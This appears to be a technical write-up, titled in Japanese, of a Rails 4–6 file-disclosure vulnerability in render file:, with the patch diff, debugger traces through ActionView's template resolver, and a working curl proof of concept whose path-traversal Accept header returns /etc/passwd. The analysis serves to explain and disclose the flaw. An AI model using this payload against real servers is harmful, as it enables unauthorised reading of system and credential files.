Rails 4, 5, 6における Security Fix について

class SomeController < ApplicationController
  def notfound
    render file: "#{Rails.root}/public/404.html"
  end
end

--- a/actionpack/lib/action_dispatch/http/mime_negotiation.rb
+++ b/actionpack/lib/action_dispatch/http/mime_negotiation.rb
@@ -79,6 +79,11 @@ def formats
           else
             [Mime[:html]]
           end
+
+          v = v.select do |format|
+            format.symbol || format.ref == "*/*"
+          end
+
           set_header k, v
         end
       end

From: /home/mrtc0/tmp/ruby/rails/sample/vendor/bundle/ruby/2.5.0/gems/actionpack-5.2.2/lib/action_controller/metal/instrumentation.rb @ line 44 ActionController::Instrumentation#render:

    43: def render(*args)
 => 44:   render_output = nil
    45:   self.view_runtime = cleanup_view_runtime do
    46:     Benchmark.ms { render_output = super }
    47:   end
    48:   render_output
    49: end

From: /home/mrtc0/tmp/ruby/rails/sample/vendor/bundle/ruby/2.5.0/gems/actionview-5.2.2/lib/action_view/template/resolver.rb @ line 220 ActionView::PathResolver#find_templates:

    218: def find_templates(name, prefix, partial, details, outside_app_allowed = false)
    219:   path = Path.build(name, prefix, partial)
 => 220:   query(path, details, details[:formats], outside_app_allowed)
    221: end

From: /home/mrtc0/tmp/ruby/rails/sample/vendor/bundle/ruby/2.5.0/gems/actionview-5.2.2/lib/action_view/template/resolver.rb @ line 225 ActionView::PathResolver#query:

    224: def query(path, details, formats, outside_app_allowed)
 => 225:   query = build_query(path, details)
    226:
    227:   template_paths = find_template_paths(query)
    228:   template_paths = reject_files_external_to_app(template_paths) unless outside_app_allowed
    229:
    230:   template_paths.map do |template|
    231:     handler, format, variant = extract_handler_and_format_and_variant(template)
    232:     contents = File.binread(template)
    233:
    234:     Template.new(contents, File.expand_path(template), handler,
    235:       virtual_path: path.virtual,
    236:       format: format,
    237:       variant: variant,
    238:       updated_at: mtime(template)
    239:     )
    240:   end
    241: end

[1] pry(#<ActionView::FallbackFileSystemResolver>)> path
=> #<ActionView::Resolver::Path:0x000055befcba8180
 @name="404.html",
 @partial=false,
 @prefix="home/mrtc0/tmp/ruby/rails/sample/public",
 @virtual="home/mrtc0/tmp/ruby/rails/sample/public/404.html">
[2] pry(#<ActionView::FallbackFileSystemResolver>)> details
=> {:locale=>[:en],
 :formats=>["../../../path/to/file"],
 :variants=>[],
 :handlers=>[:raw, :erb, :html, :builder, :ruby, :coffee, :jbuilder]}

From: /home/mrtc0/tmp/ruby/rails/sample/vendor/bundle/ruby/2.5.0/gems/actionview-5.2.2/lib/action_view/template/resolver.rb @ line 262 ActionView::PathResolver#build_query:

    261: def build_query(path, details)
    262:   query = @pattern.dup
    263:
    264:   prefix = path.prefix.empty? ? "" : "#{escape_entry(path.prefix)}\\1"
    265:   query.gsub!(/:prefix(\/)?/, prefix)
    266:
    267:   partial = escape_entry(path.partial? ? "_#{path.name}" : path.name)
    268:   query.gsub!(/:action/, partial)
    269:
    270:   details.each do |ext, candidates|
    271:     if ext == :variants && candidates == :any
    272:       query.gsub!(/:#{ext}/, "*")
    273:     else
    274:       query.gsub!(/:#{ext}/, "{#{candidates.compact.uniq.join(',')}}")
    275:     end
    276:   end
    277:
 => 278:   File.expand_path(query, @path)
    279: end

[3] pry(#<ActionView::FallbackFileSystemResolver>)> query
=> "home/mrtc0/tmp/ruby/rails/sample/public/404.html{.{en},}{.{../../../path/to/file},}{+{},}{.{raw,erb,html,builder,ruby,coffee,jbuilder},}"
[4] pry(#<ActionView::FallbackFileSystemResolver>)> @path
=> "/"

[6] pry(#<ActionView::FallbackFileSystemResolver>)> step

From: /home/mrtc0/tmp/ruby/rails/sample/vendor/bundle/ruby/2.5.0/gems/actionview-5.2.2/lib/action_view/template/resolver.rb @ line 247 ActionView::PathResolver#find_template_paths:


    246: def find_template_paths(query)
 => 247:   Dir[query].uniq.reject do |filename|
    248:     File.directory?(filename) ||
    249:       # deals with case-insensitive file systems.
    250:       !File.fnmatch(query, filename, File::FNM_EXTGLOB)
    251:   end
    252: end

[5] pry(#<ActionView::FallbackFileSystemResolver>)> File.expand_path(query, @path)
=> "/home/mrtc0/tmp/ruby/rails/sample/path/to/file},}{+{},}{.{raw,erb,html,builder,ruby,coffee,jbuilder},}"

[5] pry(#<ActionView::FallbackFileSystemResolver>)> File.expand_path(query, @path)
=> "/home/mrtc0/tmp/ruby/rails/sample/path/to/file{{},}{+{},}{.{raw,erb,html,builder,ruby,coffee,jbuilder},}"

$ curl -v 'http://localhost:3000/ -H 'Accept: ../../../../../../../../../../../../../../../../../../etc/passwd{{'
...
> GET / HTTP/1.1
> Host: localhost:3000
> User-Agent: curl/7.64.0
> Accept: ../../../../../../../../../../../../../../../../../../etc/passwd{{
>
< HTTP/1.1 200 OK
...
< Content-Type: text/html; charset=utf-8
<
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
...